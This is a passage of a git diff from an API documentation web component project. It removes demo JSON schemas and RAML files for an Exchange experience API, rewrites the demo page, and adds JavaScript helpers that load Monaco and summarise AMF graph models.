- "items": { - "type": "object", - "properties": { - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Time period in milliseconds" - }, - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - } - } - } - }, - "status": { - "type": "string", - "title": "Status" - } - } - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/contract.json b/demo/exchange-experience-api/schemas/contract.json deleted file mode 100644 index f8e735c..0000000 --- a/demo/exchange-experience-api/schemas/contract.json +++ /dev/null @@ -1,49 +0,0 @@ -{ - "title": "Contract", - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "status": { - "type": "string", - "title": "Status" - }, - "requestedTier": { - "title": "Requested Tier", - "type": "object", - "properties": { - "description": { - "type": "null", - "title": "Description" - }, - "id": { - "type": "integer", - "title": "Id" - }, - "limits": { - "title": "Limits", - "type": "array", - "items": { - "type": "object", - "properties": { - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - }, - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Timeperiod in milliseconds" - } - } - } - }, - "name": { - "type": "string", - "title": "Name" - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/contracts.json b/demo/exchange-experience-api/schemas/contracts.json deleted file mode 100644 index 14b8247..0000000 --- a/demo/exchange-experience-api/schemas/contracts.json +++ /dev/null @@ -1,52 +0,0 @@ -{ - "title": "Contracts", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "status": { - "type": "string", - "title": "Status" - }, - "requestedTier": { - "title": "Requested Tier", - "type": "object", - "properties": { - "description": { - "type": "null", - "title": "Description" - }, - "id": { - "type": "integer", - "title": "Id" - }, - "limits": { - "title": "Limits", - "type": "array", - "items": { - "type": "object", - "properties": { - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - }, - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Timeperiod in milliseconds" - } - } - } - }, - "name": { - "type": "string", - "title": "Name" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/create-search-query.json b/demo/exchange-experience-api/schemas/create-search-query.json deleted file mode 100644 index d4abc17..0000000 --- a/demo/exchange-experience-api/schemas/create-search-query.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "name": { - "type": "string", - "minLength": 1, - "maxLength": 64 - }, - "types": { - "type": "array", - "minItems": 0, - "maxItems": 16, - "items": { - "type": "string", - "minLength": 1, - "maxLength": 64 - } - }, - "search": { - "type": "string", - "minLength": 0, - "maxLength": 1024 - } - }, - "required": [ - "name", - "search" - ] -} diff --git a/demo/exchange-experience-api/schemas/metadata.json b/demo/exchange-experience-api/schemas/metadata.json deleted file mode 100644 index 081aeaa..0000000 --- a/demo/exchange-experience-api/schemas/metadata.json +++ /dev/null @@ -1,36 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "type": { - "type": "string" - }, - "name": { - "type": "string" - }, - "isCompleted": { - "type": "boolean" - }, - "tags": { - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "type": "string", - "minLength": 1, - "maxLength": 128 - }, - "key": { - "type": "string", - "minLength": 1, - "maxLength": 128 - } - }, - "required": [ - "value" - ] - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/pageCreate.json b/demo/exchange-experience-api/schemas/pageCreate.json deleted file mode 100644 index 33388f6..0000000 --- a/demo/exchange-experience-api/schemas/pageCreate.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "title": "Page Created", - "type": "object", - "required": ["pagePath"], - "properties": { - "pagePath": { - "title": "Page Path", - "type": "string", - "pattern": "[/a-zA-Z0-9\\-\\. ]*" - } - } -} diff --git a/demo/exchange-experience-api/schemas/pages.json b/demo/exchange-experience-api/schemas/pages.json deleted file mode 100644 index 995ef42..0000000 --- a/demo/exchange-experience-api/schemas/pages.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "title": "Pages", - "type": "array", - "items": { - "type": "object", - "properties": { - "path": { - "type": "string", - "title": "Path" - }, - "name": { - "type": "string", - "title": "Name" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/patch-API-instance-body.json b/demo/exchange-experience-api/schemas/patch-API-instance-body.json deleted file mode 100644 index 6c6871b..0000000 --- a/demo/exchange-experience-api/schemas/patch-API-instance-body.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "endpointUri": { - "type": "string", - "maxLength": 2048 - }, - "isPublic": { - "type": "boolean" - }, - "name": { - "type": "string", - "maxLength": 150 - } - } -} diff --git a/demo/exchange-experience-api/schemas/patch-review-body.json b/demo/exchange-experience-api/schemas/patch-review-body.json deleted file mode 100644 index 39ce4f7..0000000 --- a/demo/exchange-experience-api/schemas/patch-review-body.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "rating": { - "type": "integer", - "minimum": 1, - "maximum": 5 - }, - "text": { - "type": "string", - "maxLength": 2048 - } - } -} diff --git a/demo/exchange-experience-api/schemas/patch-review-comment-body.json b/demo/exchange-experience-api/schemas/patch-review-comment-body.json deleted file mode 100644 index 2f5990c..0000000 --- a/demo/exchange-experience-api/schemas/patch-review-comment-body.json +++ /dev/null @@ -1,10 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "text": { - "type": "string", - "maxLength": 2048 - } - } -} diff --git a/demo/exchange-experience-api/schemas/portal.json b/demo/exchange-experience-api/schemas/portal.json deleted file mode 100644 index 277ef89..0000000 --- a/demo/exchange-experience-api/schemas/portal.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "title": "Portal", - "type": "object", - "properties": { - "draftStatus": { - "title": "DraftStatus", - "type": "string", - "enum": ["PUBLISHED", "NOT_PUBLISHED"] - }, - "pages":{ - "title": "Pages", - "type": "array", - "items": { - "type": "object", - "properties": { - "name": { - "title": "Name", - "type": "string" - }, - "path": { - "title": "Path", - "type": "string" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/portalCustomization.json b/demo/exchange-experience-api/schemas/portalCustomization.json deleted file mode 100644 index 3ea540f..0000000 --- a/demo/exchange-experience-api/schemas/portalCustomization.json +++ /dev/null @@ -1,52 +0,0 @@ -{ - "title": "Portal Customization", - "type": "object", - "required": ["customization","pages"], - "properties": { - "customization": { - "title": "customization", - "type": "object", - "properties": { - "home": { - "title": "home", - "type": "object", - "properties": { - "heroImage": { - "title": "heroImage", - "type": "string" - }, - "welcomeTitle": { - "title": "welcomeTitle", - "type": "string" - }, - "welcomeText": { - "title": "welcomeText", - "type": "string" - }, - "textColor": { - "title": "textColor", - "type": "string" - } - } - } - } - }, - "pages":{ - "title": "Pages", - "type": "array", - "items": { - "type": "object", - "properties": { - "name": { - "title": "Name", - "type": "string" - }, - "path": { - "title": "Path", - "type": "string" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/post-API-instance-body.json b/demo/exchange-experience-api/schemas/post-API-instance-body.json deleted file mode 100644 index 101f6cf..0000000 --- a/demo/exchange-experience-api/schemas/post-API-instance-body.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "required": ["name", "endpointUri"], - "properties": { - "endpointUri": { - "type": "string", - "maxLength": 2048 - }, - "isPublic": { - "type": "boolean" - }, - "name": { - "type": "string", - "maxLength": 150 - } - } -} diff --git a/demo/exchange-experience-api/schemas/post-review-body.json b/demo/exchange-experience-api/schemas/post-review-body.json deleted file mode 100644 index 4b14527..0000000 --- a/demo/exchange-experience-api/schemas/post-review-body.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "rating": { - "type": "integer", - "minimum": 1, - "maximum": 5 - }, - "text": { - "type": "string", - "minLength": 1, - "maxLength": 2048 - }, - "title": { - "type": "string", - "minLength": 1, - "maxLength": 30 - } - }, - "required": [ - "rating", - "text" - ] -} diff --git a/demo/exchange-experience-api/schemas/post-review-comment-body.json b/demo/exchange-experience-api/schemas/post-review-comment-body.json deleted file mode 100644 index 27eca6d..0000000 --- a/demo/exchange-experience-api/schemas/post-review-comment-body.json +++ /dev/null @@ -1,13 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "text": { - "type": "string", - "maxLength": 2048 - } - }, - "required": [ - "text" - ] -} diff --git a/demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json b/demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json deleted file mode 100644 index e74b678..0000000 --- a/demo/exchange-experience-api/schemas/post-search-versions-reviews-body.json +++ /dev/null @@ -1,11 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "array", - "minItems": 1, - "maxItems": 100, - "items": { - "type": "string", - "minLength": 1, - "maxLength": 256 - } -} diff --git a/demo/exchange-experience-api/schemas/public-versions.json b/demo/exchange-experience-api/schemas/public-versions.json deleted file mode 100644 index b81e796..0000000 --- a/demo/exchange-experience-api/schemas/public-versions.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "array", - "items": { - "type": "object", - "properties": { - "productAPIVersion": { - "type": "string" - } - }, - "required": [ - "productAPIVersion" - ] - } -} diff --git a/demo/exchange-experience-api/schemas/rating.json b/demo/exchange-experience-api/schemas/rating.json deleted file mode 100644 index a7fabb0..0000000 --- a/demo/exchange-experience-api/schemas/rating.json +++ /dev/null @@ -1,30 +0,0 @@ -{ - "title": "Rating", - "type": "object", - "properties": { - "organizationId": { - "type": "string", - "title": "Organizationid" - }, - "group": { - "type": "string", - "title": "Group" - }, - "assetId": { - "type": "string", - "title": "Asset id" - }, - "version": { - "type": "string", - "title": "Version" - }, - "rating": { - "type": "number", - "title": "Rating" - }, - "numberOfRates": { - "type": "integer", - "title": "Number of rates" - } - } -} diff --git a/demo/exchange-experience-api/schemas/review.json b/demo/exchange-experience-api/schemas/review.json deleted file mode 100644 index 26edd84..0000000 --- a/demo/exchange-experience-api/schemas/review.json +++ /dev/null @@ -1,66 +0,0 @@ -{ - "title": "Review", - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User Id" - }, - "version": { - "type": "string", - "title": "Version" - }, - "organizationId": { - "type": "string", - "title": "Organization Id" - }, - "rating": { - "type": "integer", - "title": "Rating" - }, - "text": { - "type": "string", - "title": "Text" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - }, - "comments": { - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User id" - }, - "comment": { - "type": "string", - "title": "Comment" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/reviews.json b/demo/exchange-experience-api/schemas/reviews.json deleted file mode 100644 index 8d4db99..0000000 --- a/demo/exchange-experience-api/schemas/reviews.json +++ /dev/null @@ -1,70 +0,0 @@ -{ - "title": "Reviews", - "type": "array", - "items": { - "title": "Review", - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User Id" - }, - "version": { - "type": "string", - "title": "Version" - }, - "organizationId": { - "type": "string", - "title": "Organization Id" - }, - "rating": { - "type": "integer", - "title": "Rating" - }, - "text": { - "type": "string", - "title": "Text" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - }, - "comments": { - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "string", - "title": "Id" - }, - "userId": { - "type": "string", - "title": "User id" - }, - "comment": { - "type": "string", - "title": "Comment" - }, - "createdDate": { - "type": "string", - "title": "Created date" - }, - "updatedDate": { - "type": "string", - "title": "Updated date" - } - } - } - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/search-queries.json b/demo/exchange-experience-api/schemas/search-queries.json deleted file mode 100644 index 7f4a722..0000000 --- a/demo/exchange-experience-api/schemas/search-queries.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "title": "Searcj query", - "type": "array", - "items": { - "type": "object", - "properties": { - "name": { - "type": "string", - "title": "Name" - }, - "types": { - "type": "array", - "items": { - "type": "string" - } - }, - "search": { - "type": "string", - "title": "Search" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/tags.json b/demo/exchange-experience-api/schemas/tags.json deleted file mode 100644 index ff09417..0000000 --- a/demo/exchange-experience-api/schemas/tags.json +++ /dev/null @@ -1,21 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "array", - "items": { - "type": "object", - "properties": { - "value": { - "type": "string" - }, - "key": { - "type": "string" - }, - "mutable": { - "type": "boolean" - } - }, - "required": [ - "value" - ] - } -} diff --git a/demo/exchange-experience-api/schemas/tiers.json b/demo/exchange-experience-api/schemas/tiers.json deleted file mode 100644 index 211cb56..0000000 --- a/demo/exchange-experience-api/schemas/tiers.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "title": "Tiers", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "type": "integer", - "title": "Id" - }, - "name": { - "type": "string", - "title": "Name" - }, - "description": { - "type": ["null", "string"], - "title": "Description" - }, - "limits": { - "type": "array", - "items": { - "type": "object", - "properties": { - "timePeriodInMilliseconds": { - "type": "integer", - "title": "Time period in milliseconds" - }, - "maximumRequests": { - "type": "integer", - "title": "Maximum requests" - } - } - } - }, - "status": { - "type": "string", - "title": "Status" - } - } - } -} diff --git a/demo/exchange-experience-api/schemas/update-search-query.json b/demo/exchange-experience-api/schemas/update-search-query.json deleted file mode 100644 index 72c3514..0000000 --- a/demo/exchange-experience-api/schemas/update-search-query.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-04/schema#", - "type": "object", - "properties": { - "name": { - "type": "string", - "minLength": 1, - "maxLength": 64 - }, - "types": { - "type": "array", - "minItems": 0, - "maxItems": 16, - "items": { - "type": "string", - "minLength": 1, - "maxLength": 64 - } - }, - "search": { - "type": "string", - "minLength": 0, - "maxLength": 1024 - } - }, - "anyOf": [ - { "required": ["name"] }, - { "required": ["search", "types"] } - ], - "dependencies": { - "search": ["types"], - "types": ["search"] - } -} diff --git a/demo/exchange-experience-api/schemas/users.json b/demo/exchange-experience-api/schemas/users.json deleted file mode 100644 index cc7ca90..0000000 --- a/demo/exchange-experience-api/schemas/users.json +++ /dev/null @@ -1,34 +0,0 @@ -{ - "title": "List of users", - "type" : "array", - "items": { - "title": "User", - "type": "object", - "properties": { - "id": { - "title": "Id", - "type": "string" - }, - "username": { - "title": "Username", - "type": "string" - }, - "firstName": { - "title": "First Name", - "type": "string" - }, - "lastName": { - "title": "Last Name", - "type": "string" - }, - "profilePhoto": { - "title": "Profile photo", - "type": "string" - }, - "email": { - "title": "Email", - "type": "string" - } - } - } -} diff --git a/demo/exchange-experience-api/securitySchemes/oauth2.raml b/demo/exchange-experience-api/securitySchemes/oauth2.raml deleted file mode 100644 index ce6e298..0000000 --- a/demo/exchange-experience-api/securitySchemes/oauth2.raml +++ /dev/null @@ -1,29 +0,0 @@ -#%RAML 1.0 SecurityScheme - -type: OAuth 2.0 -describedBy: - headers: - Authorization: - description: | - Used to send a valid OAuth 2 access token. Do not use with the "access_token" query - string parameter. - type: string - queryParameters: - access_token: - description: | - Used to send a valid OAuth 2 access token. Do not use together with the "Authorization" - header - type: string - responses: - 401: - description: | - Bad or expired token. This can happen if the user or the API revoked or expired an - access token. To fix, you should re-authenticate the user. - 403: - description: | - Bad OAuth request (wrong consumer key, bad nonce, expired timestamp...). Unfortunately, - re-authenticating the user won't help here. -settings: - authorizationUri: https://anypoint.mulesoft.com/accounts/oauth2/authorize - accessTokenUri: https://anypoint.mulesoft.com/accounts/oauth2/token - authorizationGrants: [ client_credentials, implicit ] diff --git a/demo/exchange-experience-api/traits/deleteable.raml b/demo/exchange-experience-api/traits/deleteable.raml deleted file mode 100644 index 47221fc..0000000 --- a/demo/exchange-experience-api/traits/deleteable.raml +++ /dev/null @@ -1,6 +0,0 @@ -headers: - X-Delete-Type: - description: | - It could be 'soft-delete' or 'hard-delete', that mean the asset will be logical deleted or physical deleted - It's supposed to if it is not specified, the type will be 'soft-delete' - enum: ['soft-delete', 'hard-delete'] diff --git a/demo/exchange-experience-api/traits/searchable.raml b/demo/exchange-experience-api/traits/searchable.raml deleted file mode 100644 index 5c9ee1e..0000000 --- a/demo/exchange-experience-api/traits/searchable.raml +++ /dev/null @@ -1,49 +0,0 @@ -queryParameters: - search: - displayName: Search - type: string - description: Filter results that partially match the input with the asset name - example: "My example" - required: false - type: - displayName: Type - type: string - description: Filter results that matches the input with the asset type - example: "template" - required: false - repeat: true - domain: - displayName: Domain - type: string - description: Filter results by organization using its domain - example: sunday - required: false - repeat: false - organizationId: - displayName: Organization Id - type: string - description: Filter results by organizations. For more than one organization, & organizationId=1& organizationId=2, etc... - example: b8886ae1-ba56-40e9-9d6d-92fe4d12758a - required: false - repeat: true - runtimeVersion: - displayName: RuntimeVersion - example: 3.x - description: Filters results by runtime version, allowing partial versions. For example '3.x' will filter in the range [3.0, 4.0) - type: string - required: false - repeat: false - offset: - displayName: Offset - type: number - description: The offset specifies the offset of the first row to return - example: 1 - required: false - default: 0 - limit: - displayName: Limit - type: number - description: Amount of objects retrieved in the response - example: 10 - required: false - default: 10 diff --git a/demo/index.html b/demo/index.html index e91ef5b..33ab570 100644 --- a/demo/index.html +++ b/demo/index.html @@ -1,204 +1,43 @@ - - + - - api-documentation - - + AMF graph API documentation - - -
- - - + +
+

AMF graph API documentation

+
+ A set of components to render and edit documentation for API projects. +
+ +
+ + diff --git a/demo/index.js b/demo/index.js deleted file mode 100644 index 71ed72e..0000000 --- a/demo/index.js +++ /dev/null @@ -1,272 +0,0 @@ -import { html } from 'lit-html'; -import { ApiDemoPage } from '@advanced-rest-client/arc-demo-helper'; -import '@anypoint-web-components/anypoint-checkbox/anypoint-checkbox.js'; -import '@anypoint-web-components/anypoint-item/anypoint-item.js'; -import '@advanced-rest-client/arc-demo-helper/arc-demo-helper.js'; -import '@advanced-rest-client/arc-demo-helper/arc-interactive-demo.js'; -import '@api-components/api-navigation/api-navigation.js'; -import '@api-components/api-request/xhr-simple-request.js'; -import '@polymer/paper-toast/paper-toast.js'; -import '@anypoint-web-components/anypoint-styles/colors.js'; -import '@anypoint-web-components/anypoint-styles/typography.js'; -import '@advanced-rest-client/oauth-authorization/oauth2-authorization.js'; -import '@advanced-rest-client/oauth-authorization/oauth1-authorization.js'; -import '../api-documentation.js'; - -class ComponentDemo extends ApiDemoPage { - constructor() { - super(); - - this.initObservableProperties([ - 'narrow', - 'noTryit', - 'noServerSelector', - 'allowCustomBaseUri', - 'inlineMethods', - 'scrollTarget', - 'selected', - 'selectedType', - 'serverType', - 'serverValue', - 'compatibility', - 'renderCustomServer', - ]); - this.componentName = 'api-documentation'; - this.noTryit = false; - this.compatibility = false; - this.inlineMethods = false; - this.renderCustomServer = false; - this.noServerSelector = false; - this.allowCustomBaseUri = false; - this.codeSnippets = true; - this.renderSecurity = true; - - this.redirectUri = 'https://auth.advancedrestclient.com/oauth-popup.html'; - this.scrollTarget = window; - - this.demoStates = ['Material', 'Anypoint']; - this._tryitRequested = this._tryitRequested.bind(this); - this._serverHandler = this._serverHandler.bind(this); - } - - _navChanged(e) { - const { selected, type, passive } = e.detail; - if (passive) { - return; - } - this.selected = selected; - this.selectedType = type; - } - - _apiListTemplate() { - const result = []; - - [ - ['google-drive-api', 'Google Drive'], - ['multi-server', 'Multiple servers'], - ['exchange-experience-api', 'Exchange xAPI'], - ['demo-api', 'Demo API'], - ['array-body', 'Body with array test case'], - ['nexmo-sms-api', 'Nexmo SMS API'], - ['appian-api', 'Applian API'], - ['APIC-15', 'APIC-15'], - ['oauth1-fragment', 'OAuth 1 fragment'], - ['oauth2-fragment', 'OAuth 2 fragment'], - ['documentation-fragment', 'Documentation fragment'], - ['type-fragment', 'Type fragment'], - ['lib-fragment', 'Library fragment'], - ['SE-10469', 'SE-10469'], - ['SE-11415', 'SE-11415'], - ['async-api', 'async-api'], - ].forEach(([file, label]) => { - result[result.length] = html` - ${label} - compact model - ${label}`; - }); - - [ - ['partial-model/documentation', 'Partial model: Documentation'], - ['partial-model/endpoint', 'Partial model: Endpoint'], - ['partial-model/security', 'Partial model: Security'], - ['partial-model/type', 'Partial model: Type'], - ].forEach(([file, label]) => { - result[result.length] = html`${label}`; - }); - return result; - } - - _tryitRequested() { - const toast = document.getElementById('tryItToast'); - // @ts-ignore - toast.opened = true; - } - - _serverHandler(e) { - const { value, type } = e.detail; - this.serverType = type; - this.serverValue = value; - } - - _demoTemplate() { - const { - demoStates, - darkThemeActive, - compatibility, - amf, - narrow, - selected, - selectedType, - scrollTarget, - redirectUri, - inlineMethods, - noTryit, - noServerSelector, - allowCustomBaseUri, - serverType, - serverValue, - } = this; - return html ` -
-

Interactive demo

-

- This demo lets you preview the API method documentation element with various - configuration options. -

- - - - ${this._addCustomServers()} - - - - Narrow view - No try it - Render methods - No server selector - Allow custom base URI - Custom servers - -
`; - } - - _addCustomServers() { - if (!this.renderCustomServer) { - return ''; - } - const { compatibility } = this; - return html` -
Other options
- Mocking service - Custom instance`; - } - - _introductionTemplate() { - return html ` -
-

Introduction

-

- A web component to render documentation for an API endpoint. The view is rendered - using AMF data model. -

-
- `; - } - - _usageTemplate() { - return html ` -
-

Usage

-

API request editor comes with 2 predefined styles:

-
    -
  • Material Design (default)
  • -
  • - Legacy - To provide compatibility with legacy Anypoint design, use - legacy property -
  • -
-
`; - } - - contentTemplate() { - return html` - - - - - - -

API documentation

- ${this._demoTemplate()} - ${this._introductionTemplate()} - ${this._usageTemplate()} - `; - } -} -const instance = new ComponentDemo(); -instance.render(); diff --git a/demo/lib/AmfDemoBase.js b/demo/lib/AmfDemoBase.js new file mode 100644 index 0000000..1848c98 --- /dev/null +++ b/demo/lib/AmfDemoBase.js @@ -0,0 +1,34 @@ +import { ApiDemoPage } from '@advanced-rest-client/arc-demo-helper'; +import { MonacoLoader } from '@advanced-rest-client/monaco-support'; +import '@anypoint-web-components/anypoint-item/anypoint-item.js'; + +export class AmfDemoBase extends ApiDemoPage { + constructor() { + super(); + this.initObservableProperties([ + 'initialized', 'loaded', + ]); + this.loaded = false; + this.initialized = false; + this.renderViewControls = true; + this.autoLoad(); + } + + async autoLoad() { + await this.loadMonaco(); + this.initialized = true; + } + + async loadMonaco() { + const base = `../node_modules/monaco-editor/`; + MonacoLoader.createEnvironment(base); + await MonacoLoader.loadMonaco(base); + await MonacoLoader.monacoReady(); + } + + async _loadFile(file) { + this.loaded = false; + await super._loadFile(file); + this.loaded = true; + } +} diff --git a/demo/lib/AmfPartialGraphStore.js b/demo/lib/AmfPartialGraphStore.js new file mode 100644 index 0000000..79de17c --- /dev/null +++ b/demo/lib/AmfPartialGraphStore.js @@ -0,0 +1,530 @@ +/* eslint-disable no-param-reassign */ +import { AmfHelperMixin } from '@api-components/amf-helper-mixin'; + +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Api} Api */ +/** @typedef {import('@api-components/amf-helper-mixin').EndPoint} EndPoint */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ + +export class AmfPartialGraphStore extends AmfHelperMixin(Object) { + /** + * @param {AmfDocument=} graph The full API model. + */ + constructor(graph) { + super(); + let amf = graph; + if (Array.isArray(graph)) { + [amf] = graph; + } + if (amf) { + this.amf = amf; + } + } + + /** + * @returns {DomainElement} The API base definition + */ + summary() { + const { amf, ns } = this; + if (!amf) { + return null; + } + const result = {}; + result['@id'] = amf['@id']; + result['@type'] = amf['@type']; + if (amf['@context']) { + result['@context'] = amf['@context']; + } + const declaresKey = this._getAmfKey(ns.aml.vocabularies.document.declares); + const declares = this.summaryDeclares(amf[declaresKey]); + if (declares) { + result[declaresKey] = declares; + } + const encodesKey = this._getAmfKey(ns.aml.vocabularies.document.encodes); + const encodes = this.summaryEncodes(amf[encodesKey]); + if (encodes) { + result[encodesKey] = encodes; + } + const referencesKey = this._getAmfKey(ns.aml.vocabularies.document.references); + const references = this.summaryReferences(amf[referencesKey]); + if (references) { + result[referencesKey] = references; + } + return JSON.parse(JSON.stringify(result)); + } + + /** + * @param {DomainElement[]} declares + * @returns {DomainElement[]} + */ + summaryDeclares(declares) { + if (!Array.isArray(declares) || !declares.length) { + return null; + } + const { ns } = this; + const closedKey = this._getAmfKey(ns.w3.shacl.closed); + const nameKey = this._getAmfKey(ns.w3.shacl.name); + const coreNameKey = this._getAmfKey(ns.aml.vocabularies.core.name); + const descKey = this._getAmfKey(ns.aml.vocabularies.core.description); + const examplesKey = this._getAmfKey(ns.aml.vocabularies.apiContract.examples); + const dataNodeKey = this._getAmfKey(ns.aml.vocabularies.document.dataNode); + const variableKey = this._getAmfKey(ns.aml.vocabularies.document.variable); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const securitySchemeKey = this._getAmfKey(ns.aml.vocabularies.security.SecurityScheme); + const result = []; + const allowedKeys = ['@id', '@type', closedKey, nameKey, coreNameKey, descKey]; + declares.forEach((item) => { + if (item['@type'].includes(securitySchemeKey)) { + result.push(this.summarySecurity(item)); + return; + } + const cp = { }; + allowedKeys.forEach((key) => { + if (key in item) { + cp[key] = item[key]; + } + }); + const sm = this.sourceMap(item[smKey]); + if (sm) { + cp[smKey] = sm; + } + if (examplesKey in item) { + cp[examplesKey] = item[examplesKey].map(example => ({ '@id': example['@id'] })); + } + if (dataNodeKey in item) { + cp[dataNodeKey] = item[dataNodeKey].map(dn => ({ '@id': dn['@id'] })); + } + if (variableKey in item) { + cp[variableKey] = item[variableKey].map(variable => variable['@value']); + } + result.push(cp); + }); + return result; + } + + /** + * @param {DomainElement[]} encodes + * @returns {Api[]} + */ + summaryEncodes(encodes) { + if (!Array.isArray(encodes) || !encodes.length) { + return null; + } + const { ns } = this; + const result = []; + const acceptsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.accepts); + const contentTypeKey = this._getAmfKey(ns.aml.vocabularies.apiContract.contentType); + const mediaTypeKey = this._getAmfKey(ns.aml.vocabularies.core.mediaType); + const schemeKey = this._getAmfKey(ns.aml.vocabularies.apiContract.scheme); + const serverKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server); + const endpointKey = this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint); + const descKey = this._getAmfKey(ns.aml.vocabularies.core.description); + const nameKey = this._getAmfKey(ns.aml.vocabularies.core.name); + const versionKey = this._getAmfKey(ns.aml.vocabularies.core.version); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const allowedKeys = ['@id', '@type', acceptsKey, contentTypeKey, schemeKey, descKey, nameKey, versionKey, mediaTypeKey]; + + encodes.forEach((item) => { + const cp = {}; + allowedKeys.forEach((key) => { + if (key in item) { + cp[key] = item[key]; + } + }); + const sm = this.sourceMap(item[smKey]); + if (sm) { + cp[smKey] = sm; + } + if (serverKey in item) { + cp[serverKey] = item[serverKey].map((server) => { + const srv = { ...server }; + const srvSm = this.sourceMap(srv[smKey]); + if (srvSm) { + srv[smKey] = srvSm; + } + return srv; + }); + } + if (Array.isArray(item[endpointKey])) { + cp[endpointKey] = item[endpointKey].map(endpoint => this.summaryEndpoint(endpoint)); + } + result.push(cp); + }); + return result; + } + + /** + * @param {DomainElement[]} references + * @returns {DomainElement[]} + */ + summaryReferences(references) { + if (!Array.isArray(references) || !references.length) { + return null; + } + const result = []; + + const { ns } = this; + const rootKey = this._getAmfKey(ns.aml.vocabularies.document.root); + const usageKey = this._getAmfKey(ns.aml.vocabularies.document.usage); + const versionKey = this._getAmfKey(ns.aml.vocabularies.document.version); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const allowedKeys = ['@id', '@type', rootKey, usageKey, versionKey]; + + const encodesKey = this._getAmfKey(ns.aml.vocabularies.document.encodes); + const declaresKey = this._getAmfKey(ns.aml.vocabularies.document.declares); + const referencesKey = this._getAmfKey(ns.aml.vocabularies.document.references); + + references.forEach((item) => { + const unit = {}; + allowedKeys.forEach((key) => { + if (key in item) { + unit[key] = item[key]; + } + }); + const sm = this.sourceMap(item[smKey]); + if (sm) { + unit[smKey] = sm; + } + const declares = this.summaryDeclares(item[declaresKey]); + if (declares) { + unit[declaresKey] = declares; + } + const encodes = this.summaryEncodes(item[encodesKey]); + if (encodes) { + unit[encodesKey] = encodes; + } + const refs = this.summaryReferences(item[referencesKey]); + if (refs) { + result[referencesKey] = refs; + } + result.push(unit); + }); + return result; + } + + /** + * @param {EndPoint} endpoint + * @returns {EndPoint} + */ + summaryEndpoint(endpoint) { + const { ns } = this; + const pathKey = this._getAmfKey(ns.aml.vocabularies.apiContract.path); + const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation); + const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources); + const allowedKeys = ['@id', '@type', pathKey]; + const result = /** @type EndPoint */ ({ '@id': '', '@type': [] }); + allowedKeys.forEach((key) => { + if (key in endpoint) { + result[key] = endpoint[key]; + } + }); + const sm = this.sourceMap(endpoint[smKey]); + if (sm) { + 